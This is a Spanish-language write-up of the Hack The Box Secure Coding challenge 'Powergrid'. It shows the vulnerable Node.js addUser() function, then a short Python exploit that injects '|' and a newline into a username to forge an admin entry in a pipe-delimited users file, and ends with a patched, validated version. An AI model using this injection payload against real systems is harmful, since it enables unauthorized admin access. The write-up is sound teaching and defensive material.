HTB Secure Coding S10 — Powergrid: CRLF / Delimiter Injection

// CLASSIFIED OPERATION REPORT //

HTB Secure Coding S10 — Powergrid: CRLF / Delimiter Injection

Writeup de Powergrid (HTB Secure Coding Season 10). CRLF e inyección de delimitadores en una base de datos flat-file pipe-delimited permite registrar un usuario con rol admin.

HTB EASY 20 de abril de 2026
#HTB#Secure Coding#Web#CRLF#Delimiter Injection#Node.js#Flat-File
Realizado en entornos autorizados. Solo con fines educativos.

Author Platform Season Difficulty Category

Flippermen | CyberFlippers | UDLA-Cyber

Disclaimer: Writeup realizado en entorno autorizado de Hack The Box con fines educativos. Enfoque Secure Coding — identificar, explotar y parchear vulnerabilidades en código fuente.


CampoValor
ChallengePowergrid
DificultadEasy
CategoríaWeb
Puntos20
VulnerabilidadCRLF / Delimiter Injection en Flat-File DB
StackNode.js / Express

Descripción

La aplicación almacena usuarios en users.txt con formato pipe-delimited:

username|sha256_hash|role

Vulnerabilidad

addUser() en utils/db.js no sanitiza el username antes de escribirlo al archivo. Un atacante puede inyectar | para controlar los campos y \n para crear una segunda línea, registrando efectivamente un usuario admin con credenciales conocidas.

// VULNERABLE — utils/db.js
export function addUser(username, password, role = 'operator') {
    const users = readUsers();
    // No hay sanitización del username
    const newUser = { username, password: hashPassword(password), role };
    users.push(newUser);
    return writeUsers(users);
}

Exploit

import hashlib, requests

TARGET = "http://<IP>:<PORT>"
USER   = "pwned"
PASS   = "CoolPassword17!"

h = hashlib.sha256(PASS.encode()).hexdigest()
payload_user = f"{USER}|{h}|admin\n{USER}"

requests.post(f"{TARGET}/challenge/api/auth/register",
    json={"username": payload_user, "password": PASS})

s = requests.Session()
s.post(f"{TARGET}/challenge/api/auth/login",
    json={"username": USER, "password": PASS})
# → role: admin

El writeUsers() produce dos líneas en users.txt:

pwned|4befd7f...|admin
pwned|<hash_real>|operator

readUsers() lee la primera línea y autentica con role: admin.

Parche

// utils/db.js — addUser()
const USERNAME_REGEX = /^[a-zA-Z0-9_\-\.]{3,32}$/;

export function addUser(username, password, role = 'operator') {
    if (!['admin', 'operator'].includes(role)) return false;
    if (typeof username !== 'string') return false;

    // Blacklist explícita de caracteres de control
    if (/[|\n\r\0\t]/.test(username)) return false;

    // Whitelist estricta
    if (!USERNAME_REGEX.test(username)) return false;

    if (typeof password !== 'string' || password.length < 8) return false;

    const users = readUsers();
    if (users.find(u => u.username === username)) return false;

    users.push({ username, password: hashPassword(password), role });
    return writeUsers(users);
}

Defensa en capas: blacklist de chars de control primero, luego whitelist con regex. Los anchors ^ y $ aseguran que el match cubra el string completo — sin flags multiline.

Key Takeaways

  1. Whitelist > Blacklist^[a-zA-Z0-9_]{3,32}$ es más robusta que intentar enumerar chars prohibidos.
  2. Validar el tipo antes del contenidotypeof username !== 'string' evita que objetos maliciosos pasen la regex.
  3. Flat-file DBs son vectores de inyección — cualquier char que actúe como delimitador o newline en el formato de almacenamiento es un vector potencial.

Flippermen HackTheBox Season 10 — Platinum Tier | #1 Ecuador | CyberFlippers | UDLA-Cyber